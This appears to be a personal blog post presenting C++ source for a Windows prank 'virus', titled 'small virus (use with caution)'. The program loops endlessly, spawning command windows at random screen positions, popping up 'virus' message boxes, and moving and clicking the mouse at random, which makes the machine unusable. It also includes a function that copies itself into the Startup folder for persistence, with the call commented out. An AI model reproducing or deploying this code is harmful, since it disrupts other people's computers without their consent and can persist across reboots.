跳到正文

个人记录

小病毒(慎用)

_czx6666_约 4 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2026年3月13日
篇幅
约 4 分钟

版本

  1. v4当前
  2. v3
  3. v2
  4. v1
C++
#include<bits/stdc++.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <shlobj.h>
POINT GetMousePosition() {
    POINT cursorPos;
    GetCursorPos(&cursorPos);
    return cursorPos;
}
void MouseClick(int x, int y) {
    SetCursorPos(x, y);
    mouse_event(MOUSEEVENTF_LEFTDOWN, x, y, x,y);
    mouse_event(MOUSEEVENTF_LEFTUP, x, y, x, y);
}
void FixMousePosition() {
    srand(static_cast<unsigned>(time(nullptr)));
    const int screenWidth = GetSystemMetrics(SM_CXSCREEN) - 400;
    const int screenHeight = GetSystemMetrics(SM_CYSCREEN) - 300;
    while(true) {
    	const int posX = rand() % screenWidth;
    	const int posY = rand() % screenHeight;
    	const int posX2 = rand()*rand() % screenWidth;
    	const int posY2 = rand()*rand() % screenHeight;
    	char cmdCommand[256];
   		snprintf(cmdCommand, sizeof(cmdCommand),"start cmd /k \"mode con: cols=80 lines=25 && title 随机位置CMD && color 9F\" ""--window --pos %d,%d",posX, posY);
		system(cmdCommand);
		MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONERROR);
   		MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONWARNING);
    	MessageBox(NULL, "666666病毒", "病毒", MB_OKCANCEL|MB_ICONINFORMATION);
        SetCursorPos(posX2,posY2);
        MouseClick(posX2,posY2);
        Sleep(1);
    }
}
void MouseControl() {
    FixMousePosition();
}
bool AddToStartupFolder(const char* programPath, const char* programName) {
    char startupPath[MAX_PATH];
    if (!SHGetSpecialFolderPathA(NULL, startupPath, CSIDL_STARTUP, TRUE)) {
        return false;
    }

    char destPath[MAX_PATH];
    sprintf(destPath, "%s\\%s", startupPath, programName);

    return CopyFileA(programPath, destPath, FALSE);
}
signed main(){
	char programPath[MAX_PATH];
    GetModuleFileNameA(NULL, programPath, MAX_PATH);

    // 选择其中一种方式即可
//    if (AddToStartupFolder(programPath, "病毒czx6666.exe")) {
//        std::cout << "成功添加到启动文件夹" << std::endl;
//    } else {
//        std::cout << "添加到启动文件夹失败" << std::endl;
//    }
	MouseControl();


	return 0;
}
原文